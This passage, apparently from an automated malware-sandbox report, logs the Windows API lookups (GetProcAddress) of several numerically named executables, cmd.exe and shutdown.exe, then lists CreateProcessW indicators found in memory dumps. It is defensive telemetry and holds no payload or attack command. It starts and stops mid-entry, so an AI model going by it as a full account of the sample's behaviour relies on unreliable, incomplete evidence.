00000000-00002204) "3988039883.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002204) "3988039883.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00002204) "139762777.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter RegGetValueA (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter WinHttpCreateProxyResolver (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter NotifyIpInterfaceChange (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter NotifyUnicastIpAddressChange (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter SHGetValueA (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsA (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter CoInternetCreateZoneManager (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter DhcpRequestParams (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter GetAddrInfoExW (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter GetModuleHandleExW (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter getnameinfo (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter WSASocketA (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter ConvertInterfaceGuidToLuid (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter GetIpForwardTable2 (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter GetIpNetEntry2 (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter FreeMibTable (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001848) "139762777.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00001848) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002436) "cmd.exe" called "GetProcAddress" with a parameter CopyFileExW (UID: 00000000-00002436) "cmd.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00002436) "cmd.exe" called "GetProcAddress" with a parameter SetConsoleInputExeNameW (UID: 00000000-00002436) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002436) "shutdown.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003348) "shutdown.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003348) "3890516560.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001064) "3890516560.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00001064) "3890516560.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001064) "3890516560.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00001064) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004012) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004012) "shutdown.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003792) "shutdown.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003792) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter CopyFileExW (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00003572) "cmd.exe" called "GetProcAddress" with a parameter SetConsoleInputExeNameW (UID: 00000000-00003572) "shutdown.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003040) "shutdown.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003040) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001388) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001388) "shutdown.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003828) "shutdown.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003828) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004436) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004436) "shutdown.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002280) "shutdown.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002280) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004660) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004660) "shutdown.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004688) "shutdown.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004688)34:T6e6,Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; File: "npp.exe") Found reference to API "43940718200617,1232,3137,,CreateProcessW,kernel32.dll,"252:43:46.281",RX=0,PX=0" (Indicator: "CreateProcess"; Source: "00000000-00000384.00000001.198287.00310000.00000004.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "21568320146441,2796,3137,,CreateProcessW,kernel32.dll,"253:12:55.085",RX=0,PX=0" (Indicator: "CreateProcess"; Source: 